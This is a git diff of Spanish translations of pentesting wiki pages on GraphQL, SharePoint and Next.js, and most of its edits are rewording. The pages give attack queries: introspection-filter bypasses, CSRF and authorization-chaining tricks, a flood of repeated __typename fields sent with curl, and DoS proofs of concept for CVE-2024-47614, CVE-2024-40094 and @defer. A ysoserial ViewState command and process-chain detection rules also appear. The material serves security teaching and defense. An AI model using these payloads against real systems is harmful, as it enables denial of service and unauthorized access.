a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 15ded25f0..a9574ccd6 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,7 +4,7 @@ ## Introducción -GraphQL se **destaca** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al reducir la complejidad de sus procesos de obtención de datos. +GraphQL se **destaca** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. A diferencia de REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos. ## GraphQL y Seguridad @@ -23,7 +23,7 @@ Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de - `/graphql/api` - `/graphql/graphql` -Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema admite. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### Huella Digital @@ -51,7 +51,7 @@ Con esta consulta encontrarás el nombre de todos los tipos que se están utiliz ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -Con esta consulta puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos. +Con esta consulta, puedes extraer todos los tipos, sus campos y sus argumentos (y el tipo de los argumentos). Esto será muy útil para saber cómo consultar la base de datos. ![](<../../images/image (950).png>) @@ -67,7 +67,7 @@ Es interesante saber si los **errores** se van a **mostrar** ya que contribuirá **Enumerar el esquema de la base de datos a través de la introspección** -> [!NOTE] +> [!TIP] > Si la introspección está habilitada pero la consulta anterior no se ejecuta, intenta eliminar las directivas `onOperation`, `onFragment` y `onField` de la estructura de la consulta. ```bash #Full introspection query @@ -172,7 +172,7 @@ Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https:/ Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos **extraer algunos valores**. -En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag. +En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto de bandera. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -180,7 +180,7 @@ Ten en cuenta que el tipo de la consulta "_flags_" es "_Flags_", y este objeto s ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) -Puedes ver que los objetos "_Flags_" están compuestos por **name** y **value**. Luego puedes obtener todos los nombres y valores de las flags con la consulta: +Puedes ver que los objetos "_Flags_" están compuestos por **name** y **value**. Luego puedes obtener todos los nombres y valores de las banderas con la consulta: ```javascript query={flags{name, value}} ``` @@ -202,7 +202,7 @@ Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este **error**: ![](<../../images/image (1042).png>) Parece que de alguna manera buscará utilizando el argumento "_**uid**_" de tipo _**Int**_.\ -De todos modos, ya sabíamos eso, en la sección [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +De todos modos, ya lo sabíamos, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_. @@ -211,7 +211,7 @@ Así que, realizando un ligero _**uid**_ bruteforce, descubrí que en _**uid**=* ![](<../../images/image (90).png>) -Ten en cuenta que **descubrí** que podía pedir los **parámetros** "_**user**_" y "_**password**_" porque si intento buscar algo que no existe (`query={user(uid:1){noExists}}`) obtengo este error: +Nota que **descubrí** que podía pedir los **parámetros** "_**user**_" y "_**password**_" porque si intento buscar algo que no existe (`query={user(uid:1){noExists}}`) obtengo este error: ![](<../../images/image (707).png>) @@ -359,7 +359,7 @@ Una buena **lista de palabras** para descubrir [**entidades de GraphQL se puede ### Eludir las defensas de introspección de GraphQL -Para eludir las restricciones en las consultas de introspección en las API, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, nuevas líneas y comas**, que GraphQL ignora pero que podrían no estar contemplados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de `__schema` puede eludir tales defensas: +Para eludir las restricciones en las consultas de introspección en las API, insertar un **carácter especial después de la palabra clave `__schema`** resulta efectivo. Este método explota descuidos comunes de los desarrolladores en patrones de regex que intentan bloquear la introspección al centrarse en la palabra clave `__schema`. Al agregar caracteres como **espacios, nuevas líneas y comas**, que GraphQL ignora pero que podrían no ser considerados en regex, se pueden eludir las restricciones. Por ejemplo, una consulta de introspección con una nueva línea después de `__schema` puede eludir tales defensas: ```bash # Example with newline to bypass { @@ -369,7 +369,7 @@ Para eludir las restricciones en las consultas de introspección en las API, ins ``` Si no tiene éxito, considere métodos de solicitud alternativos, como **solicitudes GET** o **POST con `x-www-form-urlencoded`**, ya que las restricciones pueden aplicarse solo a las solicitudes POST. -### Intente WebSockets +### Pruebe WebSockets Como se mencionó en [**esta charla**](https://www.youtube.com/watch?v=tIo_t5uUK50), verifique si podría ser posible conectarse a graphQL a través de WebSockets, ya que eso podría permitirle eludir un posible WAF y hacer que la comunicación de WebSocket filtre el esquema de graphQL: ```javascript @@ -417,25 +417,26 @@ Ten en cuenta que las solicitudes de GraphQL generalmente se envían a través d ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` -Sin embargo, la mayoría de los endpoints de GraphQL también soportan **`form-urlencoded` solicitudes POST:** +Sin embargo, la mayoría de los endpoints de GraphQL también soportan **`form-urlencoded` POST requests:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin solicitudes de preflight**, es posible **realizar** **cambios** en el GraphQL abusando de un CSRF. -Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie del flag `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET. +Sin embargo, ten en cuenta que el nuevo valor predeterminado de la cookie del flag `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET. -Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no ser validado en una solicitud GET.** +Ten en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no ser validado en una solicitud GET.** -Además, abusar de un [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque** podría ser posible para exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario. +Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario. -Para más información **verifique el** [**post original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). +Para más información **consulta el** [**post original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Secuestro de WebSocket entre sitios en GraphQL Similar a las vulnerabilidades CRSF que abusan de GraphQL, también es posible realizar un **secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas** y hacer que un usuario realice acciones inesperadas en GraphQL. -Para más información consulte: +Para más información consulta: + {{#ref}} ../../pentesting-web/websocket-attacks.md @@ -443,7 +444,7 @@ Para más información consulte: ## Autorización en GraphQL -Muchas funciones de GraphQL definidas en el endpoint podrían solo verificar la autenticación del solicitante, pero no la autorización. +Muchas funciones de GraphQL definidas en el endpoint podrían solo verificar la autenticación del solicitante pero no la autorización. Modificar las variables de entrada de la consulta podría llevar a detalles sensibles de la cuenta [filtrados](https://hackerone.com/reports/792927). @@ -457,7 +458,7 @@ La mutación podría incluso llevar a la toma de control de la cuenta al intenta ``` ### Bypass de autorización en GraphQL -[Encadenar consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntas puede eludir un sistema de autenticación débil. +[Encadenar consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) puede eludir un sistema de autenticación débil. En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir añadiendo una consulta al final; en este caso, añadimos "register" y una variable de usuario para que el sistema registre a un nuevo usuario. @@ -465,7 +466,7 @@ En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" ## Eludir límites de tasa usando alias en GraphQL -En GraphQL, los alias son una característica poderosa que permite la **nominación de propiedades explícitamente** al hacer una solicitud API. Esta capacidad es particularmente útil para recuperar **múltiples instancias del mismo tipo** de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitación que impide que los objetos de GraphQL tengan múltiples propiedades con el mismo nombre. +En GraphQL, los alias son una característica poderosa que permite la **nominación de propiedades explícitamente** al hacer una solicitud de API. Esta capacidad es particularmente útil para recuperar **múltiples instancias del mismo tipo** de objeto dentro de una sola solicitud. Los alias se pueden emplear para superar la limitación que impide que los objetos de GraphQL tengan múltiples propiedades con el mismo nombre. Para una comprensión detallada de los alias de GraphQL, se recomienda el siguiente recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). @@ -546,19 +547,82 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` +## Vulnerabilidades Recientes (2023-2025) + +> El ecosistema de GraphQL evoluciona muy rápido; durante los últimos dos años se han divulgado varios problemas críticos en las bibliotecas de servidor más utilizadas. Cuando encuentres un endpoint de GraphQL, vale la pena identificar el motor (ver **graphw00f**) y verificar la versión en ejecución contra las vulnerabilidades a continuación. + +### CVE-2024-47614 – `async-graphql` sobrecarga de directivas DoS (Rust) +* Afectado: async-graphql < **7.0.10** (Rust) +* Causa raíz: sin límite en **directivas duplicadas** (por ejemplo, miles de `@include`) que se expanden en un número exponencial de nodos de ejecución. +* Impacto: una sola solicitud HTTP puede agotar CPU/RAM y hacer que el servicio se caiga. +* Solución/mitigación: actualizar ≥ 7.0.10 o llamar a `SchemaBuilder.limit_directives()`; alternativamente filtrar solicitudes con una regla WAF como `"@include.*@include.*@include"`. +```graphql +# PoC – repeat @include X times +query overload { +__typename @include(if:true) @include(if:true) @include(if:true) +} +``` +### CVE-2024-40094 – `graphql-java` elusión de profundidad/complejidad ENF +* Afectados: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 +* Causa raíz: **ExecutableNormalizedFields** no fueron considerados por la instrumentación de `MaxQueryDepth` / `MaxQueryComplexity`. Los fragmentos recursivos, por lo tanto, eludieron todos los límites. +* Impacto: DoS no autenticado contra pilas de Java que integran graphql-java (Spring Boot, Netflix DGS, productos de Atlassian…). +```graphql +fragment A on Query { ...B } +fragment B on Query { ...A } +query { ...A } +``` +### CVE-2023-23684 – Cadena SSRF a RCE de WPGraphQL +* Afectado: WPGraphQL ≤ 1.14.5 (plugin de WordPress). +* Causa raíz: la mutación `createMediaItem` aceptaba **URLs** de **`filePath`** controladas por el atacante, permitiendo acceso a la red interna y escritura de archivos. +* Impacto: Editores/Autores autenticados podrían acceder a puntos finales de metadatos o escribir archivos PHP para ejecución remota de código. + +--- + +## Abuso de entrega incremental: `@defer` / `@stream` +Desde 2023, la mayoría de los servidores principales (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implementaron las directivas de **entrega incremental** definidas por el WG de GraphQL-over-HTTP. Cada parche diferido se envía como un **fragmento separado**, por lo que el tamaño total de la respuesta se convierte en *N + 1* (sobre + parches). Una consulta que contiene miles de pequeños campos diferidos, por lo tanto, produce una gran respuesta mientras que solo le cuesta al atacante una solicitud: un clásico **amplificación DoS** y una forma de eludir las reglas de WAF de tamaño de cuerpo que solo inspeccionan el primer fragmento. Los propios miembros del WG señalaron el riesgo. + +Ejemplo de carga útil generando 2 000 parches: +```graphql +query abuse { +% for i in range(0,2000): +f{{i}}: __typename @defer +% endfor +} +``` +Mitigación: deshabilitar `@defer/@stream` en producción o hacer cumplir `max_patches`, `max_bytes` acumulativos y tiempo de ejecución. Bibliotecas como **graphql-armor** (ver abajo) ya imponen valores predeterminados sensatos. + +--- + +## Middleware defensivo (2024+) + +| Proyecto | Notas | +|---|---| +| **graphql-armor** | Middleware de validación Node/TypeScript publicado por Escape Tech. Implementa límites plug-and-play para la profundidad de la consulta, conteos de alias/campo/directiva, tokens y costo; compatible con Apollo Server, GraphQL Yoga/Envelop, Helix, etc. | + +Inicio rápido: +```ts +import { protect } from '@escape.tech/graphql-armor'; +import { applyMiddleware } from 'graphql-middleware'; + +const protectedSchema = applyMiddleware(schema, ...protect()); +``` +`graphql-armor` ahora bloqueará consultas excesivamente profundas, complejas o con muchas directivas, protegiendo contra las CVEs mencionadas anteriormente. + +--- + ## Herramientas ### Escáneres de vulnerabilidades - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Prueba configuraciones incorrectas comunes de endpoints graphql -- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones GraphQL por lotes. -- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica el graphql que se está utilizando +- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes. +- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identificar el graphql que se está utilizando - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Kit de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede usar como independiente o [extensión de Burp](https://github.com/doyensec/inql). - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques: `python3 graphqlmap.py -u http://example.com/graphql --inject` -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**. +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que enumera las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp o script de python para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques GraphQL por lotes, lo que puede ser útil para eludir límites de tasa mal implementados: `python3 inql.py -t http://example.com/graphql -o output.json` +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp o script de python para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques por lotes de GraphQL, lo que puede ser útil para eludir límites de tasa mal implementados: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Intenta obtener el esquema incluso con la introspección deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerirán los nombres de mutaciones y parámetros. ### Scripts para explotar vulnerabilidades comunes @@ -587,5 +651,7 @@ https://graphql-dashboard.herokuapp.com/ - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) +- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) +- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md index 5fa975251..3a90d46d7 100644 --- a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -41,6 +41,7 @@ ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt ``` Para una explicación detallada sobre el abuso de ASP.NET ViewState, lee: + {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}} @@ -88,7 +89,7 @@ La misma shell pero: * nombres de variables reducidos a letras individuales * `Thread.Sleep()` añadido para evasión de sandbox y bypass de AV basado en tiempo. -### 3.4 AK47C2 puerta trasera multiprotocolo y ransomware X2ANYLOCK (observado 2025-2026) +### 3.4 Puerta trasera multi-protocolo AK47C2 y ransomware X2ANYLOCK (observado 2025-2026) Investigaciones recientes de respuesta a incidentes (Unit42 “Proyecto AK47”) muestran cómo los atacantes aprovechan la cadena ToolShell **después de RCE inicial** para desplegar un implante C2 de doble canal y ransomware en entornos de SharePoint: @@ -146,7 +147,7 @@ if (file_mod_time >= "2026-06-06") exit(0); | `w3wp.exe → cmd.exe` | El proceso de trabajo rara vez debería generar shell | | `cmd.exe → powershell.exe -EncodedCommand` | Patrón clásico de lolbin | | Eventos de archivo creando `debug_dev.js` o `spinstall0.aspx` | IOCs directamente de ToolShell | -| `ProcessCmdLine CONTIENE ToolPane.aspx` (registros ETW/Módulo) | PoCs públicas invocan esta página | +| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | PoCs públicas invocan esta página | Ejemplo de regla XDR / Sysmon (pseudo-XQL): ``` @@ -163,6 +164,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers ## Trucos relacionados * IIS post-explotación y abuso de web.config: + {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}} @@ -172,7 +174,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers - [Unit42 – Explotación activa de vulnerabilidades de Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) - [GitHub PoC – Cadena de explotación ToolShell](https://github.com/real-or-not/ToolShell) - [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) -- [Unit42 – Proyecto AK47 / Explotación de SharePoint y actividad de ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) +- [Unit42 – Proyecto AK47 / Actividad de explotación de SharePoint y ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) - [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/nextjs.md b/src/network-services-pentesting/pentesting-web/nextjs.md index 337fc927d..bd2420eda 100644 --- a/src/network-services-pentesting/pentesting-web/nextjs.md +++ b/src/network-services-pentesting/pentesting-web/nextjs.md @@ -49,9 +49,9 @@ my-nextjs-app/ - **app/page.tsx:** Sirve como el punto de entrada para la ruta raíz `/`, renderizando la página de inicio. - **app/\[route]/page.tsx:** Maneja rutas estáticas y dinámicas. Cada carpeta dentro de `app/` representa un segmento de ruta, y `page.tsx` dentro de esas carpetas corresponde al componente de la ruta. - **app/api/:** Contiene rutas API, permitiéndote crear funciones sin servidor que manejan solicitudes HTTP. Estas rutas reemplazan el directorio tradicional `pages/api`. -- **app/components/:** Alberga componentes reutilizables de React que pueden ser utilizados en diferentes páginas y diseños. +- **app/components/:** Alberga componentes de React reutilizables que pueden ser utilizados en diferentes páginas y diseños. - **app/styles/:** Contiene archivos CSS globales y Módulos CSS para estilos específicos de componentes. -- **app/utils/:** Incluye funciones utilitarias, módulos auxiliares y otra lógica no relacionada con la UI que puede ser compartida a través de la aplicación. +- **app/utils/:** Incluye funciones utilitarias, módulos de ayuda y otra lógica no relacionada con la UI que puede ser compartida a través de la aplicación. - **.env.local:** Almacena variables de entorno específicas para el entorno de desarrollo local. Estas variables **no** se comprometen al control de versiones. - **next.config.js:** Personaliza el comportamiento de Next.js, incluyendo configuraciones de webpack, variables de entorno y configuraciones de seguridad. - **tsconfig.json:** Configura los ajustes de TypeScript para el proyecto, habilitando la verificación de tipos y otras características de TypeScript. @@ -280,14 +280,14 @@ return ( **Explicación:** - **Segmento Catch-All:** `[...slug]` captura todos los segmentos de ruta restantes como un array. -- **Uso:** Útil para manejar escenarios de enrutamiento dinámico como rutas generadas por el usuario, categorías anidadas, etc. +- **Uso:** Útil para manejar escenarios de enrutamiento dinámico como rutas generadas por usuarios, categorías anidadas, etc. - **Coincidencia de Rutas:** Rutas como `/anything/here`, `/foo/bar/baz`, etc., son manejadas por este componente. ### Vulnerabilidades Potenciales del Lado del Cliente -Mientras que Next.js proporciona una base segura, las prácticas de codificación inadecuadas pueden introducir vulnerabilidades. Las principales vulnerabilidades del lado del cliente incluyen: +Mientras que Next.js proporciona una base segura, prácticas de codificación inadecuadas pueden introducir vulnerabilidades. Las principales vulnerabilidades del lado del cliente incluyen:
@@ -328,9 +328,9 @@ return
-Recorrido de Rutas del Cliente +Recorrido de Ruta del Cliente -Es una vulnerabilidad que permite a los atacantes manipular rutas del lado del cliente para realizar acciones no intencionadas, como Cross-Site Request Forgery (CSRF). A diferencia del recorrido de rutas del lado del servidor, que apunta al sistema de archivos del servidor, CSPT se centra en explotar mecanismos del lado del cliente para redirigir solicitudes API legítimas a puntos finales maliciosos. +Es una vulnerabilidad que permite a los atacantes manipular rutas del lado del cliente para realizar acciones no intencionadas, como Cross-Site Request Forgery (CSRF). A diferencia del recorrido de ruta del lado del servidor, que apunta al sistema de archivos del servidor, CSPT se centra en explotar mecanismos del lado del cliente para redirigir solicitudes API legítimas a puntos finales maliciosos. **Ejemplo de Código Vulnerable:** @@ -437,11 +437,11 @@ return
{data.title}
